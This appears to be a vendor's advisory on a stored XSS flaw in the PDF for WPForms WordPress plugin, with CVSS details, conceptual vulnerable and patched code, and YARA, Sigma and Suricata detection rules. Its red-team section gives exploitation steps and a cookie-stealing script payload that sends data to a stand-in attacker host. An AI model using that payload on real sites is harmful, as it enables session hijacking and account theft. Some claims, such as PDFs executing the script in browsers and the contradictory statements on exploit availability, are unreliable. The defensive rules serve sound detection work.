CVE-2025-58620
Executive Summary
CVE-2025-58620 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin PDF for WPForms by Add-ons.org, affecting versions up to and including 6.2.1. This vulnerability allows an attacker to inject malicious scripts into web pages generated by the plugin, which are then stored on the server and executed in the browsers of other users. The CVSS score of 6.5 (Medium) reflects the potential for data theft, session hijacking, and defacement. As of this report, no official patch is available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor for updates from Add-ons.org and consider disabling the plugin until a patch is released. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
- User Interaction (UI): Required (R) – The victim must visit a page containing the malicious payload.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The lack of a patch and the potential for stored XSS make this a significant risk for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability resides in the PDF generation functionality of the PDF for WPForms plugin. The plugin fails to properly sanitize user-supplied input before embedding it into generated PDF pages. An attacker can submit a form with malicious JavaScript code in a text field. When the plugin generates a PDF containing that input, the script is stored in the PDF file. When an administrator or other user views the PDF in a browser that renders HTML/JavaScript, the script executes.
The core issue is improper neutralization of input during web page generation (CWE-79). The plugin likely uses a library that renders PDFs as HTML, and the input is not escaped or encoded before being placed into the HTML context.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern.
Vulnerable Code (Conceptual):
// In pdf-for-wpforms.php or similar
function generate_pdf($form_data) {
$user_input = $form_data['field_value'];
$pdf_content = "<html><body><p>$user_input</p></body></html>";
// ... generate PDF from $pdf_content
}
Patched Code (Expected):
function generate_pdf($form_data) {
$user_input = htmlspecialchars($form_data['field_value'], ENT_QUOTES, 'UTF-8');
$pdf_content = "<html><body><p>$user_input</p></body></html>";
// ... generate PDF from $pdf_content
}
The patch would involve using htmlspecialchars() or similar escaping functions to neutralize any HTML/JavaScript before embedding user input into the PDF.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with PDF for WPForms <= 6.2.1 installed and active.
- A form that includes a text field (e.g., "Name" or "Message").
- The ability to submit the form as an unauthenticated user.
Exploitation Steps:
- Identify a form that uses the PDF for WPForms plugin to generate PDFs.
- Submit the form with a payload in a text field, such as:
<script>alert('XSS')</script> - The plugin generates a PDF containing the payload.
- An administrator or other user views the generated PDF in a browser that supports HTML rendering (e.g., Chrome, Firefox).
- The script executes in the context of the WordPress admin panel, potentially stealing cookies or performing actions on behalf of the admin.
Example Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team
Detection:
- Monitor for unusual form submissions containing HTML tags or JavaScript.
- Check PDF files generated by the plugin for embedded scripts.
- Use web application firewalls (WAF) to block common XSS payloads.
Hunting:
- Search for PDF files in the WordPress uploads directory that contain
<script>tags. - Review server logs for requests to PDF generation endpoints with suspicious parameters.
Mitigation:
- Disable the plugin until a patch is available.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Use input validation to reject form submissions containing HTML tags.
Indicators of Compromise (IOCs)
- File: PDF files in
/wp-content/uploads/pdf-for-wpforms/containing<script>tags. - Log Entry: HTTP requests to
/wp-admin/admin-ajax.phpwith actionpdf_for_wpforms_generateand suspiciousform_dataparameters. - Network: Outbound connections to attacker-controlled domains from the WordPress server.
- Cookie: Unusual cookie values or missing
HttpOnlyflags on session cookies.
Detection Engineering
YARA Rule
rule CVE_2025_58620_PDF_XSS {
meta:
description = "Detects PDF files generated by PDF for WPForms containing potential XSS payloads"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58620"
strings:
$script_tag = /<script[\s>]/ nocase
$onload = /onload\s*=/ nocase
$onerror = /onerror\s*=/ nocase
$pdf_header = "%PDF-1."
condition:
$pdf_header at 0 and ($script_tag or $onload or $onerror)
}
Sigma Rule
title: Suspicious PDF Generation with XSS Payload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects form submissions to PDF for WPForms containing HTML/JavaScript payloads
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=pdf_for_wpforms_generate'
keywords:
- '<script'
- 'onload='
- 'onerror='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in form fields (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-58620 PDF for WPForms Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pdf_for_wpforms_generate"; http_client_body; pcre:"/<script[\s>]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the PDF for WPForms plugin until a patch is released.
- Short-term: Implement a Web Application Firewall (WAF) rule to block requests containing
<script>tags in form fields. - Long-term: Apply the official patch from Add-ons.org as soon as it becomes available. Consider using alternative PDF generation plugins that are actively maintained.
- Compensating Controls: Enforce Content Security Policy (CSP) headers to prevent inline script execution. Use
HttpOnlyandSecureflags on session cookies.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.